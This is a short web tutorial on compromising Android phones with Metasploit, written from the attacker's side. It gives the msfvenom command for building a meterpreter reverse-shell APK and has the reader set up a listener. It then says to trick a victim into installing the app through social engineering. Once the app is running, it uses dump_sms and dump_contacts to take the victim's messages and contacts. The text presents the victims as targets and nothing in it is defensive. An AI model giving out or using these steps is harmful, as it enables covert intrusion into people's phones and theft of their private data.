How to hack Android phones using metasploit

How to hack Android phones using metasploit

With the increase of mobile device users and the penetration of smartphones to the population, hackers have found a new playing field for exploiting victims.

In this tutorial, we are going to see how easily a hacker can gain access to an android devices and be able to gather a lot of data from it.



Kali linux


1.Open the terminal

2.Type msfvenom –p android/meterpreter/reverse_tcp lhost=”yourip” lport=”port” R>appname.apk


-p used to set payload

lhost= your ip

lport=set the port you want to listen


3. Create the listener as we learnt in the windows hacking. Set the payload as android/meterpreter/reverse_tcp

4. Using some social engineering techniques, send the created apk to the user and ask him/her to install it. When the app is installed and opened by the user, the reverse meterpreter session will be started.

5. Use dump_sms to see all sms

Use dump_contacts to see all contact.

As you can see from the above screenshots, we no have gathered some details from the user. A hacker can do much more damage to the user just by running some commands.

All these detail will be stored in the text file format.

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